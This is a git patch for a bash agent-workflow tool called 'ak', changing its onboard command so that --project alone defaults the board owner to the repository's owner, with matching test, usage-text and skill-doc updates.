-    [[ ! -s $FILE || $(tail -c 1 -- "$FILE" | od -An -c) == *'\n'* ]] || printf '\n' >>"$FILE"
-    ((${#LINES[@]} == 0)) || printf '%s\n' "${LINES[@]}" >>"$FILE"
+    for line in "${LINES[@]}"; do append_line "$FILE" "$line"; done
     onboard_exclude
     printf 'wrote=%s keys=%d kept=%d\n' "$FILE" "${#LINES[@]}" "$KEPT"
     shown=${#LINES[@]}; ((shown <= 14)) || shown=12

From 5c6fe1e4c4d91da68f23f8ec94994dcc247500d3 Mon Sep 17 00:00:00 2001
From: adam <djfreaq@gmail.com>
Date: Tue, 6 Oct 2026 17:32:46 -0700
Subject: [PATCH 7/7] fix(v2): onboard --project alone names a board under the
 repository's owner

The issue lists the two flags as separately optional, and most boards
belong to the repository's own owner, so --owner is now the exception
for a board on another account.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
---
 tests/v2/test-onboard.sh   | 10 ++++++++++
 v2/bin/ak                  |  2 +-
 v2/lib/onboard.sh          |  8 ++++----
 v2/skills/onboard/SKILL.md |  2 +-
 4 files changed, 16 insertions(+), 6 deletions(-)

diff --git a/tests/v2/test-onboard.sh b/tests/v2/test-onboard.sh
index fa0f4b1a..0296066f 100644
--- a/tests/v2/test-onboard.sh
+++ b/tests/v2/test-onboard.sh
@@ -72,6 +72,16 @@ assert_eq 0 "$rc" 'a half-declared board exits 0'
 assert_contains "$out" 'board=incomplete; .agent/config.env has one of AGENT_PROJECT_OWNER/AGENT_PROJECT_NUMBER: set both or remove it' 'a half-declared board is named, not completed'
 assert_rc 1 'the discovered number is not paired with a kept owner' -- grep -q '^AGENT_PROJECT_NUMBER=' .agent/config.env
 
+# --- --project alone asks the repository's own owner ---
+printf 'AGENT_REPO_SLUG=acme/widget\n' >.agent/config.env
+: >"$FAKE_GH_LOG"
+out=$("$AK" onboard --project 9 2>&1); rc=$?
+assert_eq 0 "$rc" '--project without --owner is accepted'
+assert_eq 1 "$(grep -c -- '-F owner=acme -F number=9' "$FAKE_GH_LOG")" 'the owner defaults to the repository owner'
+assert_contains "$out" $'\nAGENT_PROJECT_OWNER=acme\nAGENT_PROJECT_NUMBER=9\n' 'the board named by number alone is written'
+out=$("$AK" onboard --owner acme 2>&1); rc=$?
+assert_eq 2 "$rc" '--owner without --project is a usage error'
+
 # --- no linked board, no toolchain ---
 rm .agent/config.env package.json package-lock.json
 git rm -q package.json package-lock.json && git commit -q -m bare
diff --git a/v2/bin/ak b/v2/bin/ak
index a486fb07..308d84c4 100755
--- a/v2/bin/ak
+++ b/v2/bin/ak
@@ -9,7 +9,7 @@ source "$AK_HOME/lib/common.sh"
 usage() {
     cat <<'USAGE'
 usage: ak <command> [args]
-  root:   onboard [--project N --owner O]          plan [--limit N] [--yolo] [--serialize] [--new]
+  root:   onboard [--project N [--owner O]]        plan [--limit N] [--yolo] [--serialize] [--new]
           collect (--issue N | --pr N)
           pr-plan --pr N [--pr N]...                merge --pr N
   worker: setup   verify   ship --message M [--body-file F]   review
diff --git a/v2/lib/onboard.sh b/v2/lib/onboard.sh
index 4ec58062..7120afc2 100644
--- a/v2/lib/onboard.sh
+++ b/v2/lib/onboard.sh
@@ -1,5 +1,5 @@
 # shellcheck shell=bash
-# ak onboard [--project N --owner O]: write the .agent/config.env keys ak reads from what the repository already
+# ak onboard [--project N [--owner O]]: write the .agent/config.env keys ak reads from what the repository already
 # says: slug and base from git, the linked project board and its Status options from one GraphQL read, and the
 # setup/test commands from marker files. Keys already in the file are kept; a re-run changes nothing.
 
@@ -118,14 +118,14 @@ onboard_board() {
     fi
     owner=$(slug); owner=${owner%%/*}
     if [[ -n ${1:-} ]]; then
-        rows=$(gh api graphql -f "query=$NAMED_QUERY" -F "owner=$2" -F "number=$1" 2>&1)
+        rows=$(gh api graphql -f "query=$NAMED_QUERY" -F "owner=${2:-$owner}" -F "number=$1" 2>&1)
     else
         rows=$(gh api graphql -f "query=$LINKED_QUERY" -F "owner=$owner" -F "name=$(slug | cut -d/ -f2)" 2>&1)
     fi || { NOTES+=("board=unavailable ($rows); fix: gh auth status"); return 0; }
     rows=$(jq -r "$BOARD_ROWS" <<<"$rows" 2>/dev/null) || { NOTES+=("board=unavailable (unreadable reply); fix: gh auth status"); return 0; }
     count=$(grep -c . <<<"$rows" || true)
     if ((count == 0)); then
-        [[ -n ${1:-} ]] && fix="board=none; $2 has no open project $1" ||
+        [[ -n ${1:-} ]] && fix="board=none; ${2:-$owner} has no open project $1" ||
             fix='board=none; ak plan reads AGENT_READY_LABEL=<label> instead, or name one: ak onboard --project N --owner O'
         NOTES+=("$fix")
     elif ((count > 1)); then
@@ -168,7 +168,7 @@ cmd_main() {
             *) usage_die "ak onboard: unknown argument: $1" ;;
         esac
     done
-    [[ -z $project$owner || ($project =~ ^[0-9]+$ && -n $owner) ]] || usage_die 'usage: ak onboard [--project N --owner O]'
+    [[ -z $project$owner || $project =~ ^[0-9]+$ ]] || usage_die 'usage: ak onboard [--project N [--owner O]]'
     cd -- "$(main_root)" || exit 1
     FILE=.agent/config.env KEPT=0 LINES=() NOTES=()
     [[ ! -L .agent && ! -L $FILE ]] || die "$FILE is behind a symlink, which onboard will not write through" "rm $FILE"
diff --git a/v2/skills/onboard/SKILL.md b/v2/skills/onboard/SKILL.md
index bcda33c3..caaf10cd 100644
--- a/v2/skills/onboard/SKILL.md
+++ b/v2/skills/onboard/SKILL.md
@@ -6,7 +6,7 @@ description: Set up a repository for ak by writing .agent/config.env from what t
 # onboard
 
 `ak` is `<this skill's directory>/../../bin/ak`, run from the repository root. Pass the operator's flags
-(`--project N --owner O`) straight through. `.agent/config.env` is plain `KEY=value` lines; `ak onboard` adds the
+(`--project N [--owner O]`; the owner defaults to the repository's) straight through. `.agent/config.env` is plain `KEY=value` lines; `ak onboard` adds the
 keys it discovers and keeps every line already there, so running it again is safe.
 
 1. Run `ak onboard [flags]`. It prints each key it wrote, a `board=` line and a `next=` line.